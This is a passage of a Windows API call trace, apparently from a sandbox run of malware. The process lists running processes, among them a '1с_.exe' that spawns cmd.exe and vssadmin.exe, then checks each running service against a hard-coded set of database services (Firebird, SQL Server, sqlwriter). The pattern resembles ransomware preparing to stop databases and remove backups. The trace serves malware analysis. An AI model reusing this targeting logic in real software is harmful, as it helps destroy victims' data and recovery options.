[0058.608] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0058.608] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0058.608] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0058.844] lstrlenW (lpString="ur illustration.exe") returned 19 [0058.844] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0058.844] lstrlenW (lpString="facing.exe") returned 10 [0058.844] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0058.845] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0058.845] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0058.845] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0058.845] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0058.845] lstrlenW (lpString="headline.exe") returned 12 [0058.845] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0058.846] lstrlenW (lpString="army_unsigned.exe") returned 17 [0058.846] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0058.846] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0058.846] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0058.846] lstrlenW (lpString="distribution-gif.exe") returned 20 [0058.846] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0058.847] lstrlenW (lpString="tribunal.exe") returned 12 [0058.847] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0058.847] lstrlenW (lpString="aafeof.exe") returned 10 [0058.847] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0058.847] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0058.847] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0058.848] lstrlenW (lpString="encryption.exe") returned 14 [0058.848] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.848] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.848] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0058.848] lstrlenW (lpString="1с_.exe") returned 7 [0058.848] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.849] lstrlenW (lpString="cmd.exe") returned 7 [0058.849] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.849] lstrlenW (lpString="conhost.exe") returned 11 [0058.849] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.849] lstrlenW (lpString="vssadmin.exe") returned 12 [0058.849] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.850] lstrlenW (lpString="VSSVC.exe") returned 9 [0058.850] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.850] lstrlenW (lpString="svchost.exe") returned 11 [0058.850] Process32NextW (in: hSnapshot=0x1fc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0058.850] CloseHandle (hObject=0x1fc) returned 1 [0058.850] Sleep (dwMilliseconds=0x1f4) [0059.485] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58ff10 [0059.486] EnumServicesStatusExW (in: hSCManager=0x58ff10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0059.488] GetLastError () returned 0xea [0059.488] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x60eb98 [0059.488] EnumServicesStatusExW (in: hSCManager=0x58ff10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0059.491] CloseServiceHandle (hSCObject=0x58ff10) returned 1 [0059.491] lstrlenW (lpString="Appinfo") returned 7 [0059.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.491] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.491] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.492] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.492] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.492] lstrlenW (lpString="AudioSrv") returned 8 [0059.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.492] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.492] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.492] lstrlenW (lpString="BFE") returned 3 [0059.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.492] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.492] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.492] lstrlenW (lpString="CryptSvc") returned 8 [0059.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.492] lstrlenW (lpString="CscService") returned 10 [0059.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.493] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.493] lstrlenW (lpString="DcomLaunch") returned 10 [0059.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.493] lstrlenW (lpString="Dhcp") returned 4 [0059.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.493] lstrlenW (lpString="Dnscache") returned 8 [0059.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.493] lstrlenW (lpString="DPS") returned 3 [0059.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.493] lstrlenW (lpString="eventlog") returned 8 [0059.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.494] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.494] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0059.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.494] lstrlenW (lpString="EventSystem") returned 11 [0059.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.494] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.494] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.494] lstrlenW (lpString="gpsvc") returned 5 [0059.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.494] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.494] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.494] lstrlenW (lpString="iphlpsvc") returned 8 [0059.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.494] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.494] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.494] lstrlenW (lpString="LanmanServer") returned 12 [0059.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.494] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.494] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.495] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.495] lstrlenW (lpString="lmhosts") returned 7 [0059.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.495] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.495] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.495] lstrlenW (lpString="MMCSS") returned 5 [0059.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0059.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0059.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0059.495] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0059.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0059.495] lstrlenW (lpString="MpsSvc") returned 6 [0059.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0059.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0059.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0059.495] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0059.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0059.495] lstrlenW (lpString="Netman") returned 6 [0059.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0059.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0059.495] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0059.496] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0059.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0059.496] lstrlenW (lpString="netprofm") returned 8 [0059.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0059.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0059.496] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0059.496] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0059.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0059.496] lstrlenW (lpString="NlaSvc") returned 6 [0059.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0059.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0059.496] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0059.496] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0059.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0059.496] lstrlenW (lpString="nsi") returned 3 [0059.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0059.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0059.496] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0059.496] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0059.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0059.496] lstrlenW (lpString="PcaSvc") returned 6 [0059.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0059.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0059.496] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0059.496] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0059.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0059.496] lstrlenW (lpString="PlugPlay") returned 8 [0059.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0059.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0059.497] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0059.497] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0059.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0059.497] lstrlenW (lpString="Power") returned 5 [0059.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0059.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0059.497] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0059.497] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0059.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0059.497] lstrlenW (lpString="ProfSvc") returned 7 [0059.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0059.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0059.497] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0059.497] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0059.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0059.497] lstrlenW (lpString="RpcEptMapper") returned 12 [0059.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0059.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0059.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0059.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0059.497] lstrlenW (lpString="RpcSs") returned 5 [0059.497] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0059.497] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0059.497] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0059.497] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0059.497] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0059.498] lstrlenW (lpString="SamSs") returned 5 [0059.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0059.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0059.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0059.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0059.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0059.498] lstrlenW (lpString="Schedule") returned 8 [0059.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0059.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0059.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0059.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0059.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0059.498] lstrlenW (lpString="SENS") returned 4 [0059.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0059.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0059.498] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0059.498] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0059.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0059.498] lstrlenW (lpString="ShellHWDetection") returned 16 [0059.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0059.498] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0059.498] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0059.498] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0059.498] lstrlenW (lpString="Spooler") returned 7 [0059.498] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0059.498] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0059.498] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0059.498] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0059.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0059.499] lstrlenW (lpString="swprv") returned 5 [0059.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0059.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0059.499] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0059.499] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0059.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0059.499] lstrlenW (lpString="SysMain") returned 7 [0059.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.499] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.499] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.499] lstrlenW (lpString="Themes") returned 6 [0059.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.499] lstrlenW (lpString="TrkWks") returned 6 [0059.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.499] 